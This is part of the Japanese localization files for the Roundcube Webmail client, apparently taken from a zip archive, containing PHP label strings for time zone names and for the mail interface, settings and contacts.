$labels['tz:asia:bangkok'] = 'バンコク';
$labels['tz:asia:barnaul'] = 'バルナウル';
$labels['tz:asia:beirut'] = 'ベイルート';
$labels['tz:asia:bishkek'] = 'ビシュケク';
$labels['tz:asia:brunei'] = 'ブルネイ';
$labels['tz:asia:chita'] = 'チタ';
$labels['tz:asia:choibalsan'] = 'チョイバルサン';
$labels['tz:asia:colombo'] = 'コロンボ';
$labels['tz:asia:damascus'] = 'ダマスカス';
$labels['tz:asia:dhaka'] = 'ダッカ';
$labels['tz:asia:dili'] = 'ディリ';
$labels['tz:asia:dubai'] = 'ドバイ';
$labels['tz:asia:dushanbe'] = 'ドゥシャンベ';
$labels['tz:asia:famagusta'] = 'ファマグスタ';
$labels['tz:asia:gaza'] = 'ガザ';
$labels['tz:asia:hebron'] = 'ヘブロン';
$labels['tz:asia:ho_chi_minh'] = 'ホーチミン';
$labels['tz:asia:hong_kong'] = '香港';
$labels['tz:asia:hovd'] = 'ホブド';
$labels['tz:asia:irkutsk'] = 'イルクーツク';
$labels['tz:asia:jakarta'] = 'ジャカルタ';
$labels['tz:asia:jayapura'] = 'ジャヤプラ';
$labels['tz:asia:jerusalem'] = 'エルサレム';
$labels['tz:asia:kabul'] = 'カーブル';
$labels['tz:asia:kamchatka'] = 'カムチャツカ';
$labels['tz:asia:karachi'] = 'カラチ';
$labels['tz:asia:kathmandu'] = 'カトマンズ';
$labels['tz:asia:khandyga'] = 'ハンドゥイガ';
$labels['tz:asia:kolkata'] = 'コルカタ';
$labels['tz:asia:krasnoyarsk'] = 'クラスノヤルスク';
$labels['tz:asia:kuala_lumpur'] = 'クアラルンプール';
$labels['tz:asia:kuching'] = 'クチン';
$labels['tz:asia:kuwait'] = 'クウェート';
$labels['tz:asia:macau'] = 'マカオ';
$labels['tz:asia:magadan'] = 'マガダン';
$labels['tz:asia:makassar'] = 'マカッサル';
$labels['tz:asia:manila'] = 'マニラ';
$labels['tz:asia:muscat'] = 'マスカット';
$labels['tz:asia:nicosia'] = 'ニコシア';
$labels['tz:asia:novokuznetsk'] = 'ノヴォクズネツク';
$labels['tz:asia:novosibirsk'] = 'ノヴォシビルスク';
$labels['tz:asia:omsk'] = 'オムスク';
$labels['tz:asia:oral'] = 'オラル';
$labels['tz:asia:phnom_penh'] = 'プノンペン';
$labels['tz:asia:pontianak'] = 'ポンティアナック';
$labels['tz:asia:pyongyang'] = 'ピョンヤン';
$labels['tz:asia:qatar'] = 'カタール';
$labels['tz:asia:qyzylorda'] = 'クズロルダ';
$labels['tz:asia:riyadh'] = 'リヤド';
$labels['tz:asia:sakhalin'] = 'サハリン';
$labels['tz:asia:samarkand'] = 'サマルカンド';
$labels['tz:asia:seoul'] = 'ソウル';
$labels['tz:asia:shanghai'] = '上海';
$labels['tz:asia:singapore'] = 'シンガポール';
$labels['tz:asia:srednekolymsk'] = 'スレドネコリムスク';
$labels['tz:asia:taipei'] = '台北';
$labels['tz:asia:tashkent'] = 'タシュケント';
$labels['tz:asia:tbilisi'] = 'トビリシ';
$labels['tz:asia:tehran'] = 'テヘラン';
$labels['tz:asia:thimphu'] = 'ティンプー';
$labels['tz:asia:tokyo'] = '東京';
$labels['tz:asia:tomsk'] = 'トムスク';
$labels['tz:asia:ulaanbaatar'] = 'ウランバートル';
$labels['tz:asia:urumqi'] = 'ウルムチ';
$labels['tz:asia:ust-nera'] = 'ウスチ=ネラ';
$labels['tz:asia:vientiane'] = 'ヴィエンチャン';
$labels['tz:asia:vladivostok'] = 'ウラジオストク';
$labels['tz:asia:yakutsk'] = 'ヤクーツク';
$labels['tz:asia:yangon'] = 'ヤンゴン';
$labels['tz:asia:yekaterinburg'] = 'エカテリンブルク';
$labels['tz:asia:yerevan'] = 'エレバン';
$labels['tz:atlantic'] = '大西洋';
$labels['tz:atlantic:azores'] = 'アゾレス諸島';
$labels['tz:atlantic:bermuda'] = 'バミューダ諸島';
$labels['tz:atlantic:canary'] = 'カナリア諸島';
$labels['tz:atlantic:cape_verde'] = 'カーボベルデ';
$labels['tz:atlantic:faroe'] = 'フェロー諸島';
$labels['tz:atlantic:madeira'] = 'マデイラ諸島';
$labels['tz:atlantic:reykjavik'] = 'レイキャヴィーク';
$labels['tz:atlantic:south_georgia'] = 'サウスジョージア島';
$labels['tz:atlantic:st_helena'] = 'セントヘレナ';
$labels['tz:atlantic:stanley'] = 'スタンリー';
$labels['tz:australia'] = 'オーストラリア';
$labels['tz:australia:adelaide'] = 'アデレード';
$labels['tz:australia:brisbane'] = 'ブリスベン';
$labels['tz:australia:broken_hill'] = 'ブロークンヒル';
$labels['tz:australia:currie'] = 'カレー ';
$labels['tz:australia:darwin'] = 'ダーウィン';
$labels['tz:australia:eucla'] = 'ユークラ';
$labels['tz:australia:hobart'] = 'ホバート';
$labels['tz:australia:lindeman'] = 'リンデマン島';
$labels['tz:australia:lord_howe'] = 'ロード・ハウ島';
$labels['tz:australia:melbourne'] = 'メルボルン';
$labels['tz:australia:perth'] = 'パース';
$labels['tz:australia:sydney'] = 'シドニー';
$labels['tz:europe'] = 'ヨーロッパ';
$labels['tz:europe:amsterdam'] = 'アムステルダム';
$labels['tz:europe:andorra'] = 'アンドラ';
$labels['tz:europe:astrakhan'] = 'アストラハン';
$labels['tz:europe:athens'] = 'アテナ';
$labels['tz:europe:belgrade'] = 'ベオグラード';
$labels['tz:europe:berlin'] = 'ベルリン';
$labels['tz:europe:bratislava'] = 'ブラチスラヴァ';
$labels['tz:europe:brussels'] = 'ブリュッセル';
$labels['tz:europe:bucharest'] = 'ブカレスト';
$labels['tz:europe:budapest'] = 'ブダペスト';
$labels['tz:europe:busingen'] = 'ビュージンゲン';
$labels['tz:europe:chisinau'] = 'キシナウ';
$labels['tz:europe:copenhagen'] = 'コペンハーゲン';
$labels['tz:europe:dublin'] = 'ダブリン';
$labels['tz:europe:gibraltar'] = 'ジブラルタル';
$labels['tz:europe:guernsey'] = 'ガーンジー島';
$labels['tz:europe:helsinki'] = 'ヘルシンキ';
$labels['tz:europe:isle_of_man'] = 'マン島';
$labels['tz:europe:istanbul'] = 'イスタンブール';
$labels['tz:europe:jersey'] = 'ジャージー';
$labels['tz:europe:kaliningrad'] = 'カリーニングラード';
$labels['tz:europe:kiev'] = 'キエフ';
$labels['tz:europe:kirov'] = 'キーロフ';
$labels['tz:europe:lisbon'] = 'リスボン';
$labels['tz:europe:ljubljana'] = 'リュブリャナ';
$labels['tz:europe:london'] = 'ロンドン';
$labels['tz:europe:luxembourg'] = 'ルクセンブルク';
$labels['tz:europe:madrid'] = 'マドリード';
$labels['tz:europe:malta'] = 'マルタ';
$labels['tz:europe:mariehamn'] = 'マリエハムン';
$labels['tz:europe:minsk'] = 'ミンスク';
$labels['tz:europe:monaco'] = 'モナコ';
$labels['tz:europe:moscow'] = 'モスクワ';
$labels['tz:europe:oslo'] = 'オスロ';
$labels['tz:europe:paris'] = 'パリ';
$labels['tz:europe:podgorica'] = 'ポドゴリツァ';
$labels['tz:europe:prague'] = 'プラハ';
$labels['tz:europe:riga'] = 'リガ';
$labels['tz:europe:rome'] = 'ローマ';
$labels['tz:europe:samara'] = 'サマーラ';
$labels['tz:europe:san_marino'] = 'サンマリノ';
$labels['tz:europe:sarajevo'] = 'サラエヴォ';
$labels['tz:europe:saratov'] = 'サラトフ';
$labels['tz:europe:simferopol'] = 'シンフェローポリ';
$labels['tz:europe:skopje'] = 'スコピエ';
$labels['tz:europe:sofia'] = 'ソフィア';
$labels['tz:europe:stockholm'] = 'ストックホルム';
$labels['tz:europe:tallinn'] = 'タリン';
$labels['tz:europe:tirane'] = 'ティラナ';
$labels['tz:europe:ulyanovsk'] = 'ウリヤノフスク';
$labels['tz:europe:uzhgorod'] = 'ウージュホロド';
$labels['tz:europe:vaduz'] = 'ファドゥーツ';
$labels['tz:europe:vatican'] = 'バチカン';
$labels['tz:europe:vienna'] = 'ウィーン ';
$labels['tz:europe:vilnius'] = 'ヴィリニュス';
$labels['tz:europe:volgograd'] = 'ヴォルゴグラード';
$labels['tz:europe:warsaw'] = 'ワルシャワ';
$labels['tz:europe:zagreb'] = 'ザグレブ';
$labels['tz:europe:zaporozhye'] = 'ザポリージャ';
$labels['tz:europe:zurich'] = 'チューリッヒ';
$labels['tz:indian'] = 'インド洋';
$labels['tz:indian:antananarivo'] = 'アンタナナリボ';
$labels['tz:indian:chagos'] = 'チャゴス諸島';
$labels['tz:indian:christmas'] = 'クリスマス諸島';
$labels['tz:indian:cocos'] = 'ココス諸島';
$labels['tz:indian:comoro'] = 'コモロ諸島';
$labels['tz:indian:kerguelen'] = 'ケルゲレン諸島 ';
$labels['tz:indian:mahe'] = 'マーヒ';
$labels['tz:indian:maldives'] = 'モルディブ';
$labels['tz:indian:mauritius'] = 'モーリシャス';
$labels['tz:indian:mayotte'] = 'マヨット';
$labels['tz:indian:reunion'] = 'レユニオン';
$labels['tz:pacific'] = '太平洋';
$labels['tz:pacific:apia'] = 'アピア';
$labels['tz:pacific:auckland'] = 'オークランド';
$labels['tz:pacific:bougainville'] = 'ブーゲンビル島';
$labels['tz:pacific:chatham'] = 'チャタム諸島';
$labels['tz:pacific:chuuk'] = 'チューク諸島';
$labels['tz:pacific:easter'] = 'イースター島';
$labels['tz:pacific:efate'] = 'エファテ島';
$labels['tz:pacific:enderbury'] = 'エンダーベリー島';
$labels['tz:pacific:fakaofo'] = 'ファカオフォ島';
$labels['tz:pacific:fiji'] = 'フィジー';
$labels['tz:pacific:funafuti'] = 'フナフティ島';
$labels['tz:pacific:galapagos'] = 'ガラパゴス島';
$labels['tz:pacific:gambier'] = 'ガンビエ諸島';
$labels['tz:pacific:guadalcanal'] = 'ガダルカナル島';
$labels['tz:pacific:guam'] = 'グアム';
$labels['tz:pacific:honolulu'] = 'ホノルル';
$labels['tz:pacific:johnston'] = 'ジョンストン島';
$labels['tz:pacific:kiritimati'] = 'キリスィマスィ島';
$labels['tz:pacific:kosrae'] = 'コスラエ';
$labels['tz:pacific:kwajalein'] = 'クェゼリン環礁';
$labels['tz:pacific:majuro'] = 'マジュロ';
$labels['tz:pacific:marquesas'] = 'マルキーズ諸島';
$labels['tz:pacific:midway'] = 'ミッドウェー島';
$labels['tz:pacific:nauru'] = 'ナウル';
$labels['tz:pacific:niue'] = 'ニウエ';
$labels['tz:pacific:norfolk'] = 'ノーフォーク島';
$labels['tz:pacific:noumea'] = 'ヌメア';
$labels['tz:pacific:pago_pago'] = 'パゴパゴ';
$labels['tz:pacific:palau'] = 'パラオ';
$labels['tz:pacific:pitcairn'] = 'ピトケアン諸島';
$labels['tz:pacific:pohnpei'] = 'ポンペイ島';
$labels['tz:pacific:port_moresby'] = 'ポートモレスビー';
$labels['tz:pacific:rarotonga'] = 'ラロトンガ島';
$labels['tz:pacific:saipan'] = 'サイパン島';
$labels['tz:pacific:tahiti'] = 'タヒチ';
$labels['tz:pacific:tarawa'] = 'タラワ';
$labels['tz:pacific:tongatapu'] = 'トンガタプ島';
$labels['tz:pacific:wake'] = 'ウェーク島';
$labels['tz:pacific:wallis'] = 'ウォリス島';
PK
h�\�ݑ����%program/localization/ja_JP/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = '$productにようこそ';
$labels['username'] = 'ユーザー名';
$labels['password'] = 'パスワード';
$labels['server'] = 'サーバー';
$labels['login'] = 'ログイン';
$labels['oauthlogin'] = '$provider でログイン';
$labels['menu'] = 'メニュー';
$labels['logout'] = 'ログアウト';
$labels['mail'] = '電子メール';
$labels['settings'] = '設定';
$labels['addressbook'] = 'アドレス帳';
$labels['darkmode'] = 'ダークモード';
$labels['lightmode'] = 'ライトモード';
$labels['inbox'] = '受信箱';
$labels['drafts'] = '下書き';
$labels['sent'] = '送信済み';
$labels['trash'] = 'ごみ箱';
$labels['junk'] = '迷惑メール';
$labels['show_real_foldernames'] = '特殊フォルダーの実際の名前を表示';
$labels['subject'] = '件名';
$labels['from'] = '発信者';
$labels['sender'] = '送信者';
$labels['to'] = '宛先';
$labels['cc'] = '写し(Cc)';
$labels['bcc'] = '隠した写し(Bcc)';
$labels['replyto'] = '返信先';
$labels['followupto'] = 'Followup-To';
$labels['date'] = '日付';
$labels['size'] = '大きさ';
$labels['priority'] = '優先度';
$labels['organization'] = '企業名';
$labels['readstatus'] = '閲覧の状態';
$labels['listoptions'] = '一覧のオプション...';
$labels['listoptionstitle'] = '一覧のオプション';
$labels['mailboxlist'] = 'フォルダー';
$labels['messagesfromto'] = '$count通の$from通目から$to通目のメッセージ';
$labels['threadsfromto'] = '$count通の$from通目から$to通目のスレッド';
$labels['messagenrof'] = '$count通の$nr通目のメッセージ';
$labels['fromtoshort'] = '$count通の$from通目から$to通目';
$labels['copy'] = 'コピー';
$labels['move'] = '移動';
$labels['moveto'] = 'フォルダーに移動';
$labels['copyto'] = 'コピー...';
$labels['download'] = 'ダウンロード';
$labels['open'] = '開く';
$labels['showattachment'] = '表示';
$labels['showanyway'] = 'とにかく表示';
$labels['filename'] = 'ファイル名';
$labels['filesize'] = 'ファイルの大きさ';
$labels['addtoaddressbook'] = 'アドレス帳に追加';
$labels['sun'] = '日';
$labels['mon'] = '月';
$labels['tue'] = '火';
$labels['wed'] = '水';
$labels['thu'] = '木';
$labels['fri'] = '金';
$labels['sat'] = '土';
$labels['sunday'] = '日曜日';
$labels['monday'] = '月曜日';
$labels['tuesday'] = '火曜日';
$labels['wednesday'] = '水曜日';
$labels['thursday'] = '木曜日';
$labels['friday'] = '金曜日';
$labels['saturday'] = '土曜日';
$labels['jan'] = '1月';
$labels['feb'] = '2月';
$labels['mar'] = '3月';
$labels['apr'] = '4月';
$labels['may'] = '5月';
$labels['jun'] = '6月';
$labels['jul'] = '7月';
$labels['aug'] = '8月';
$labels['sep'] = '9月';
$labels['oct'] = '10月';
$labels['nov'] = '11月';
$labels['dec'] = '12月';
$labels['longjan'] = '1月';
$labels['longfeb'] = '2月';
$labels['longmar'] = '3月';
$labels['longapr'] = '4月';
$labels['longmay'] = '5月';
$labels['longjun'] = '6月';
$labels['longjul'] = '7月';
$labels['longaug'] = '8月';
$labels['longsep'] = '9月';
$labels['longoct'] = '10月';
$labels['longnov'] = '11月';
$labels['longdec'] = '12月';
$labels['today'] = '今日';
$labels['refresh'] = '再読込み';
$labels['checkmail'] = '新しく届いたメッセージを確認';
$labels['compose'] = '新規作成';
$labels['writenewmessage'] = '新しいメッセージを作成';
$labels['reply'] = '返信';
$labels['replytomessage'] = '送信者に返信';
$labels['replytoallmessage'] = 'メーリングリスト、または送信者とすべての宛先に返信';
$labels['replyall'] = '全員に返信';
$labels['replylist'] = 'メーリングリストに返信';
$labels['forward'] = '転送';
$labels['forwardinline'] = '本文に挿入して転送';
$labels['forwardattachment'] = '添付ファイルとして転送';
$labels['forwardmessage'] = 'メッセージを転送';
$labels['bouncemsg'] = '再送(送り直し)';
$labels['bounce'] = '再送';
$labels['deletemessage'] = 'メッセージを削除';
$labels['movemessagetotrash'] = 'ごみ箱に移動';
$labels['printmessage'] = 'メッセージを印刷';
$labels['previousmessage'] = '前のメッセージを表示';
$labels['firstmessage'] = '最初のメッセージを表示';
$labels['nextmessage'] = '次のメッセージを表示';
$labels['lastmessage'] = '最後のメッセージを表示';
$labels['backtolist'] = 'メッセージの一覧に戻る';
$labels['viewsource'] = 'ソースを表示';
$labels['mark'] = 'マーク';
$labels['markmessages'] = 'マークを付ける';
$labels['markread'] = '既読に設定';
$labels['markunread'] = '未読に設定';
$labels['markflagged'] = 'フラグを設定';
$labels['markunflagged'] = 'フラグを解除';
$labels['markundeleted'] = '削除を解除';
$labels['moreactions'] = 'その他の操作...';
$labels['markallread'] = 'すべてを既読に設定';
$labels['folders-cur'] = '選択したフォルダーだけ';
$labels['folders-sub'] = '選択したフォルダーとその下位のフォルダー';
$labels['folders-all'] = 'すべてのフォルダー';
$labels['more'] = '続く';
$labels['back'] = '戻る';
$labels['options'] = 'オプション';
$labels['composeoptions'] = '作成のオプション';
$labels['optionsandattachments'] = 'オプションと添付ファイル';
$labels['actions'] = '動作';
$labels['first'] = '最初';
$labels['last'] = '最後';
$labels['previous'] = '前';
$labels['next'] = '次';
$labels['select'] = '選択';
$labels['selection'] = '選択範囲';
$labels['all'] = 'すべて';
$labels['none'] = 'なし';
$labels['currpage'] = '現在のページ';
$labels['isread'] = '既読';
$labels['unread'] = '未読';
$labels['flagged'] = 'フラグ付き';
$labels['unflagged'] = 'フラッグなし';
$labels['unanswered'] = '未返信';
$labels['withattachment'] = '添付ファイルあり';
$labels['deleted'] = '削除済み';
$labels['undeleted'] = '削除済みでない';
$labels['replied'] = '返信済み';
$labels['forwarded'] = '転送済み';
$labels['invert'] = '反転';
$labels['filter'] = 'フィルター';
$labels['list'] = '一覧';
$labels['threads'] = 'スレッド';
$labels['expand-all'] = 'すべて展開';
$labels['expand-unread'] = '未開封のメッセージを展開';
$labels['collapse-all'] = 'すべて折りたたむ';
$labels['threaded'] = 'スレッド化';
$labels['showunread'] = '未読のメッセージを表示';
$labels['autoexpand_threads'] = 'メッセージのスレッドを展開';
$labels['do_expand'] = 'すべてのスレッド';
$labels['expand_only_unread'] = '未読のメッセージだけ';
$labels['fromto'] = '発信者/宛先';
$labels['flag'] = 'フラグ';
$labels['attachment'] = '添付ファイル';
$labels['nonesort'] = 'なし';
$labels['sentdate'] = '送信日';
$labels['arrival'] = '受信日';
$labels['asc'] = '昇順';
$labels['desc'] = '降順';
$labels['listcolumns'] = '列を一覧';
$labels['listsorting'] = '並べ替える列';
$labels['listorder'] = '並べ替える順序';
$labels['listmode'] = '一覧表示モード';
$labels['lmode'] = '一覧モード';
$labels['layout'] = '配置';
$labels['layoutwidescreen'] = 'ワイド画面';
$labels['layoutdesktop'] = 'デスクトップ';
$labels['layoutlist'] = '一覧';
$labels['layoutwidescreendesc'] = 'ワイドスクリーン (3列の表示)';
$labels['layoutdesktopdesc'] = 'デスクトップ (広いリストと下にメールのプレビュー)';
$labels['layoutlistdesc'] = '一覧 (メールのプレビューなし)';
$labels['folderactions'] = 'フォルダーの操作...';
$labels['compact'] = '圧縮';
$labels['empty'] = '空';
$labels['importmessages'] = 'メッセージをインポート';
$labels['mailimportdesc'] = '<a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a>または<a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a>形式を使用してメールをアップロードできます。';
$labels['mailimportzip'] = '複数のファイルをzipアーカイブに圧縮できます。';
$labels['quota'] = 'ディスクの使用状況';
$labels['unknown'] = '不明';
$labels['unlimited'] = '無制限';
$labels['quotatype'] = 'クォータの種類';
$labels['quotatotal'] = '限度';
$labels['quotaused'] = '使用';
$labels['quotastorage'] = 'ディスク容量';
$labels['quotamessage'] = 'メッセージ数';
$labels['shortheaderdate'] = '$date';
$labels['shortheaderto'] = '$date に $to 宛て';
$labels['shortheaderfrom'] = '$date に $from から';
$labels['quicksearch'] = '高速検索';
$labels['searchplaceholder'] = '検索...';
$labels['resetsearch'] = '検索を解除';
$labels['searchmod'] = '検索の条件';
$labels['msgtext'] = 'メッセージ全体';
$labels['body'] = '本文';
$labels['type'] = '種類';
$labels['namex'] = '名前';
$labels['searchscope'] = 'スコープ';
$labels['currentfolder'] = '現在のフォルダー';
$labels['subfolders'] = 'このフォルダーと下位のフォルダー';
$labels['allfolders'] = 'すべてのフォルダー';
$labels['searchinterval-1W'] = '1週間より前';
$labels['searchinterval-1M'] = '1か月より前';
$labels['searchinterval-1Y'] = '1年より前';
$labels['searchinterval1W'] = '1週間以内';
$labels['searchinterval1M'] = '1か月以内';
$labels['searchinterval1Y'] = '1年以内';
$labels['openinextwin'] = '新しいウィンドウで開く';
$labels['emlsave'] = 'ダウンロード(.eml形式)';
$labels['changeformattext'] = 'テキスト形式で表示';
$labels['changeformathtml'] = 'HTML形式で表示';
$labels['editasnew'] = '新しいメッセージとして編集';
$labels['send'] = '送信';
$labels['sendmessage'] = 'メッセージを送信';
$labels['savemessage'] = '下書きとして保存';
$labels['addattachment'] = 'ファイルを添付';
$labels['charset'] = '文字セット';
$labels['editortype'] = 'エディターの種類';
$labels['returnreceipt'] = '開封確認';
$labels['dsn'] = '配送状態通知';
$labels['keepformatting'] = '書式設定を保持';
$labels['mailreplyintro'] = '$date に $sender さんは書きました:';
$labels['originalmessage'] = '元のメッセージ';
$labels['selectimage'] = '画像を選択';
$labels['addimage'] = '画像を追加';
$labels['selectmedia'] = '動画を選択';
$labels['addmedia'] = '動画を追加';
$labels['encrypt'] = '暗号化';
$labels['encryptmessage'] = 'メッセージを暗号化';
$labels['encryptmessagemailvelope'] = 'Mailvelopeでメッセージを暗号化';
$labels['importpubkeys'] = '公開鍵をインポート';
$labels['encryptedsendialog'] = '暗号化したメッセージを送信中';
$labels['encryptandsign'] = '暗号化と署名';
$labels['keyid'] = 'キーID';
$labels['keylength'] = 'ビット';
$labels['keyexpired'] = '期限切れ';
$labels['keyrevoked'] = '取り消し済み';
$labels['bccinstead'] = 'Bccを使用';
$labels['addheader'] = '宛先を追加(ヘッダー)';
$labels['insert'] = '挿入';
$labels['insertcontact'] = '連絡先を挿入';
$labels['recipient'] = '宛先';
$labels['recipientedit'] = '宛先編集';
$labels['editidents'] = '識別情報を編集';
$labels['spellcheck'] = 'スペル';
$labels['checkspelling'] = 'スペルチェック';
$labels['resumeediting'] = '編集を再開';
$labels['revertto'] = '元に戻す';
$labels['restore'] = '回復';
$labels['restoremessage'] = 'メッセージを回復しますか?';
$labels['ignore'] = '無視';
$labels['responses'] = '回答';
$labels['insertresponse'] = '回答を挿入';
$labels['manageresponses'] = '回答を管理';
$labels['newresponse'] = '新しい回答を作成';
$labels['addresponse'] = '回答を追加';
$labels['editresponse'] = '回答を編集';
$labels['editresponses'] = '回答を編集';
$labels['responsename'] = '名前';
$labels['responsetext'] = '回答の文章';
$labels['attach'] = '添付';
$labels['attachments'] = '添付ファイル';
$labels['upload'] = 'アップロード';
$labels['uploadprogress'] = '$percent ($totalの$current)';
$labels['close'] = '閉じる';
$labels['messageoptions'] = 'メッセージのオプション...';
$labels['togglecomposeoptions'] = '作成のオプションを切り替え';
$labels['attachmentrename'] = '添付ファイルの名前を変更';
$labels['low'] = '低';
$labels['lowest'] = '最低';
$labels['normal'] = '通常';
$labels['high'] = '高';
$labels['highest'] = '最高';
$labels['nosubject'] = '(件名なし)';
$labels['showimages'] = '画像を表示';
$labels['allow'] = '許可';
$labels['alwaysshow'] = '$sender から届いた画像は常に表示';
$labels['alwaysallow'] = '$sender からは常に許可';
$labels['isdraft'] = 'これは下書きのメッセージです。';
$labels['andnmore'] = 'さらに$nr件...';
$labels['details'] = '詳細';
$labels['summary'] = '要約';
$labels['headers'] = 'ヘッダー';
$labels['allheaders'] = 'すべてのヘッダー...';
$labels['togglemoreheaders'] = 'さらにメッセージのヘッダーを表示';
$labels['togglefullheaders'] = 'メッセージヘッダーの生の表示と切り替え';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'テキスト';
$labels['savesentmessagein'] = '送信したメッセージの保存先';
$labels['dontsave'] = '保存しない';
$labels['maxuploadsize'] = '添付可能なファイルは最大で$sizeです。';
$labels['addcc'] = '写し(Cc)を追加';
$labels['addbcc'] = '隠した写し(Bcc)を追加';
$labels['addreplyto'] = '返信先(Reply-To)を追加';
$labels['addfollowupto'] = 'フォロー先(Followup-Toを追加';
$labels['sendreceipt'] = '開封確認を送信しますか?';
$labels['mdnrequest'] = 'このメッセージを読んだときに、送信者が通知を受けたいと依頼しています。開封確認の通知を送信しますか?';
$labels['receiptread'] = '開封確認(表示済み)';
$labels['yourmessage'] = 'これはあなたが送信したメッセージに対する開封確認です。';
$labels['receiptnote'] = '注意: この開封確認は、メッセージが宛先のコンピューターで表示されたことだけを知らせるものです。受信者がメッセージを読んだり、内容を理解したと保証するものではありません。';
$labels['sendalwaysto'] = '常に $emailに送信';
$labels['zoomin'] = 'ズームイン';
$labels['zoomout'] = 'ズームアウト';
$labels['rotate'] = '回転';
$labels['increaseimage'] = '画像のサイズを増やす';
$labels['decreaseimage'] = '画像のサイズを減らす';
$labels['rotateimage'] = '画像を回転';
$labels['showtools'] = '画像ツールを表示';
$labels['hidetools'] = '画像ツールを非表示';
$labels['name'] = '表示名';
$labels['firstname'] = '名';
$labels['surname'] = '姓';
$labels['middlename'] = 'ミドルネーム';
$labels['nameprefix'] = '敬称(名前の前)';
$labels['namesuffix'] = '敬称(名前の後)';
$labels['nickname'] = 'ニックネーム';
$labels['jobtitle'] = '職名';
$labels['department'] = '部署名';
$labels['gender'] = '性別';
$labels['maidenname'] = '旧姓';
$labels['email'] = '電子メール';
$labels['phone'] = '電話番号';
$labels['address'] = '住所';
$labels['street'] = '住所';
$labels['locality'] = '都市';
$labels['zipcode'] = '郵便番号';
$labels['region'] = '都道府県';
$labels['country'] = '国';
$labels['birthday'] = '誕生日';
$labels['anniversary'] = '記念日';
$labels['website'] = 'ウェブサイト';
$labels['instantmessenger'] = 'インスタントメッセージ';
$labels['notes'] = '注釈';
$labels['male'] = '男性';
$labels['female'] = '女性';
$labels['manager'] = '管理者';
$labels['assistant'] = 'アシスタント';
$labels['spouse'] = '配偶者';
$labels['allfields'] = 'すべての項目';
$labels['search'] = '検索';
$labels['searchresult'] = '検索の結果';
$labels['advsearch'] = '高度な検索';
$labels['advanced'] = '高度';
$labels['other'] = 'その他';
$labels['printcontact'] = '連絡先を印刷';
$labels['qrcode'] = 'QRコード';
$labels['typehome'] = '自宅';
$labels['typework'] = '職場';
$labels['typeother'] = 'その他';
$labels['typemobile'] = 'モバイル';
$labels['typemain'] = '主回線';
$labels['typehomefax'] = '自宅ファクス';
$labels['typeworkfax'] = '職場のFax';
$labels['typecar'] = '車';
$labels['typepager'] = 'ページャー(ポケットベル)';
$labels['typevideo'] = '動画';
$labels['typeassistant'] = 'アシスタント';
$labels['typehomepage'] = 'ホームページ';
$labels['typeblog'] = 'ブログ';
$labels['typeprofile'] = 'プロフィール';
$labels['addfield'] = '項目を追加...';
$labels['addcontact'] = '連絡先を追加';
$labels['editcontact'] = '連絡先を編集';
$labels['contacts'] = '連絡先';
$labels['contactproperties'] = '連絡先の属性';
$labels['contactnameandorg'] = '名前と組織';
$labels['personalinfo'] = '個人情報';
$labels['personal'] = '個人';
$labels['contactphoto'] = '連絡先の写真';
$labels['edit'] = '編集';
$labels['cancel'] = '取り止め';
$labels['save'] = '保存';
$labels['delete'] = '削除';
$labels['discard'] = '破棄';
$labels['continue'] = '継続';
$labels['ok'] = 'OK';
$labels['rename'] = '名前を変更';
$labels['addphoto'] = '追加';
$labels['replacephoto'] = '置き換え';
$labels['uploadphoto'] = '写真をアップロード';
$labels['choosefile'] = 'ファイルを選択...';
$labels['choosefiles'] = 'ファイルを選択...';
$labels['browse'] = '閲覧';
$labels['newcontact'] = '新しい連絡先を作成';
$labels['deletecontact'] = '選択した連絡先を削除';
$labels['composeto'] = 'この連絡先宛にメッセージを作成';
$labels['contactsfromto'] = '$count件の連絡先の$from件目から$to件目';
$labels['print'] = '印刷';
$labels['export'] = 'エクスポート';
$labels['exportall'] = 'すべてエクスポート';
$labels['exportsel'] = '選択した連絡先をエクスポート';
$labels['exportvcards'] = 'vCard形式でエクスポート';
$labels['newgroup'] = '新しいグループを作成';
$labels['addgroup'] = 'グループを追加';
$labels['grouprename'] = 'グループ名を変更';
$labels['groupdelete'] = 'グループを削除';
$labels['groupassign'] = 'グループに割り当て...';
$labels['groupremove'] = 'グループから削除';
$labels['groupremoveselected'] = '選択した連絡先をグループから削除';
$labels['uponelevel'] = '1つ上のレベル';
$labels['previouspage'] = '前のページを表示';
$labels['firstpage'] = '最初のページを表示';
$labels['nextpage'] = '次のページを表示';
$labels['lastpage'] = '最後のページを表示';
$labels['group'] = 'グループ';
$labels['groups'] = 'グループ';
$labels['listgroup'] = 'グループのメンバーを一覧';
$labels['personaladrbook'] = '個人の住所';
$labels['searchsave'] = '検索情報を保存';
$labels['searchdelete'] = '検索情報を削除';
$labels['import'] = 'インポート';
$labels['importcontacts'] = '連絡先をインポート';
$labels['importfromfile'] = 'ファイルからインポート';
$labels['importtarget'] = '次に連絡先を追加';
$labels['importreplace'] = 'アドレス帳全体と置き換え';
$labels['importgroups'] = 'グループの割り当てをインポート';
$labels['importgroupsall'] = 'すべて (必要ならグループを作成)';
$labels['importgroupsexisting'] = '存在するグループだけ';
$labels['importdesc'] = '既存のアドレス帳から連絡先をアップロードできます。<br/>現在、<a href="https://en.wikipedia.org/wiki/VCard">vCard</a>またはCSV(コンマ区切り)のデータ形式からのアドレスの取り込みをサポートしています。';
$labels['importmapdesc'] = 'CSV(コンマ区切り)のデータのインポートを進める前に、以下の列の対応情報を確認してください。';
$labels['fieldnotmapped'] = '列の対応なし(無視)';
$labels['skipheader'] = '最初の行(ヘッダー)を無視';
$labels['done'] = '完了';
$labels['settingsfor'] = '次の設定:';
$labels['about'] = 'このプログラムについて';
$labels['preferences'] = '設定';
$labels['userpreferences'] = 'ユーザー設定';
$labels['editpreferences'] = 'ユーザー設定を変更';
$labels['identities'] = '識別情報';
$labels['manageidentities'] = '識別情報を管理';
$labels['newidentity'] = '新しい識別情報を作成';
$labels['addidentity'] = '識別情報を追加';
$labels['editidentity'] = '識別情報を編集';
$labels['identityencryption'] = '暗号化';
$labels['preferhtml'] = 'HTMLを表示';
